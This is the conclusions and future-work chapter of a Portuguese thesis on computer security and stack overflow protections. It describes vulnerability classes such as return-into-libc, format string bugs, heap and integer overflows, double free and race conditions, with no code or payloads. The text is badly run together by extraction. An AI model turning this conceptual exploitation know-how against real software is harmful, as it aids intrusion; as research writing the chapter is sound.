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6 CONCLUSÕES E TRABALHOS FUTUROS

Comaelaborac¸ãodestetrabalho,foi posśıvelperceberquecadavezmaisaáreadesegurança

computacionaltemevolúıdo. Empresastantodesoftwarequantodehardwareeprogramadores

temtrabalhadoemconjuntocomo objetivo deaumentaraconfiabilidadenossistemasproduzi-

dos,porém,é umatarefa bastantecomplexa, poissãopassosqueenvolvemdiversasvariáveis,

técnicase tecnologiasquepodemnãosertotalmente dominadas.

Al ém disso,deve-seter em mentequenenhumaproteç̃ao é 100%efetiva, elaselevam a

segurançadoambiente,porémnãopodemgarantirtotalproteç̃ao.Um exemplonot́avel é afalha

nafunçãodo brk() nokernel, queafetouat́emesmosistemasprotegidosebemconfiguradospor

especialistasemsegurança, inclusivecontandocommodificaç̃oesnokernelcomoo grsecurity.

Edooutrolado,est̃aooshackersqueest̃aosemprebuscandomeiosdepassarpelasrestriç̃oes

impostas,e de certa forma, tem-seuma disputaque tem como conseq̈uênciaa elevaç̃ao de

segurança em diversosńıveis. O único problemaé queasfalhasnossoftwarestendema ser

corrigidasquandóe tardedemais.Porisso,énecesśarioqueosdesenvolvedoresprogramemde

formadefensiva etenhamnoç̃aodasconseq̈uênciasdeaplicaç̃oesmaldesenvolvidas.

Comapropostaconstrúıdaeestudorealizado,percebeu-sequeaomodificarcertoselemen-

tosno sistemáe posśıvel atingir um ńıvel desegurança consideŕavel, porémaindaassimnãoé

suficienteparaeliminarasameac¸asaindadesconhecidas.

6.1 TRABALHOS FUTUROS

A áreade segurança de computadorespossuidiversoscamposa serempesquisados.No

contexto sobrevulnerabilidadesemaplicaç̃oes,existemdiversosassuntos,como:

• return-into-libc: estatécnicaéutlizadaparadesviarasrestriç̃oesimpostaspelasproteç̃oes

de pilhasnão-execut́aveis,ondea idéia principal é ao invésde seinjetar um código ar-

bitrário no programavı́tima, objetiva-sedesviaro fluxo de execuç̃ao para funçõesda

própria libc, comoasfunçõessystem()eexecl();
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• heapoverflows: nesteprojeto,foramtratadosapenasfalhasdeestourodebuffer queest̃ao

armazenadosnapilha. Poŕem,essestiposdevariáveistamb́empodemestararmazenadas

naheap, e tamb́emest̃aosujeitasaseremestouradas;

• format string bugs: essetipo de vulnerabilidade,acontecequandoum programadorde-

satentoutiliza as funçõesde formataç̃ao (comoprintf();) semindicar os formatadores,

como %s, utilizando printf(string) ao invés de printf(”%s”, string). Ao esquecerdo

par̂ametrodeformataç̃ao,é posśıvel ler eescrever emregiõesarbitráriasdemeḿoria;

• integer overflows: integer overflowsocorremquandoum inteiro maior do que o atual

é necesśario para representarcorretamenteos resultadosde uma operac¸ão aritmética.

Geralmente,integer overflowssãoutilizadosde formaa levar umaaplicaç̃aoa setornar

vulneŕavel aheapoverflow;

• doublefreebugs: umaexecuç̃ao defree()numaregião demeḿoria já desalocadaleva à

corrupç̃ao daheap, permitindoum usúario mal-intencionadoexecutarcódigoarbitrário,

dependendodasituaç̃ao;

• raceconditions: existemcasosem quemúltiplos processosou threadsinteragementre

si, e o programadordeve se assegurar que certostipos de operac¸õesrealizadassejam

atômicas,casocontŕario dadospodemseralterados;

• assinaturas de IDS: trabalharna linha de pesquisacom IDSs para tentar melhorara

detecc¸ão deshellcodes, sejaelepolimórfico oualfanuḿerico.
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